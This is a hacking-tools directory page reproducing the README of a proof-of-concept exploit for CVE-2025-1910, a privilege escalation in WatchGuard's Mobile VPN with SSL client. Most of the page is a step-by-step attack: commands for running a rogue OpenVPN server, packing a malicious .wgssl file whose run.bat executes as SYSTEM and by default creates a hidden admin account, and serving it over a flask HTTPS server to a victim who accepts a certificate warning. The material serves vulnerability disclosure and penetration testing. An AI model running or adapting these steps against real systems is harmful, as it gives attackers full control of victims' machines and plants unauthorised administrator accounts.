Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1910-WatchGuard-Privilege-Escalation — Proof-of-Concept for exploiting CVE-2025-1910, a local privilege escalation within Watchguard's Mobile VPN with SSL client. | Kitploit
Tools/GitHubGitHub/lutrasecurity/cve-2025-1910-watchguard-privilege-escalation
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCommand and ControlRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHublutrasecurity/cve-2025-1910-watchguard-privilege-escalation

CVE-2025-1910-WatchGuard-Privilege-Escalation

Proof-of-Concept for exploiting CVE-2025-1910, a local privilege escalation within Watchguard's Mobile VPN with SSL client.

View Repository
7 months agoNot yet reviewed

WatchGuard Mobile VPN with SSL Client Privilege Escalation (CVE-2025-1910)

A privilege escalation vulnerability in WatchGuard's Mobile VPN with SSL <= 12.11.2 allows a low privileged user to execute commands as SYSTEM on the client. Tested with Mobile VPN with SSL version 12.11.2.

For more details, see our blog article (German version).

Exploitation

Preparation on the Attacker Server

  1. Start an OpenVPN server that accepts all connections:
root@kitploit:~
sudo openvpn --config server.conf

Started OpenVPN server.

  1. Modify the remote option in ./client/client.ovpn to point to the OpenVPN server

  2. Modify ./client/run.bat according to your liking, this script will be executed as SYSTEM. By default, a new admin user is created (shinyNewAdmin)

  3. Create the malicious WatchGuard client.wgssl file:

root@kitploit:~
cd client/

# Create checksum
md5sum client.ovpn run.bat > MD5SUM

# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn  MD5SUM  run.bat

cd ..
  1. Serve the malicious client.wgssl file via flask:
root@kitploit:~
# Start the flask HTTPS server
sudo python3 srv.py

Started the flask web server.

Optionally, a new certificate and key pair can be created via openssl:

root@kitploit:~
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"

Exploitation on the Victim Machine

Then, on the victim machine where a vulnerable version of Mobile VPN with SSL is installed (e.g. version 12.11.2, Download), try to connect to the attacker server. The entered username and password do not matter:

Connecting to the attacker server.

Click Yes on the security alert to ignore certificate warnings:

Connecting to the attacker server.

After the connection is successfully established, the run.bat file is executed and the shinyNewAdmin user is created:

The shinyNewAdmin user was created.

Setup

On the attacker server you need to have Python, openssl and openvpn installed. Additionally, the flask Python package needs to be installed:

root@kitploit:~
pip install -r requirements.txt

Nix Flake

With Nix installed, you can just start the development shell:

root@kitploit:~
nix develop
Download Tool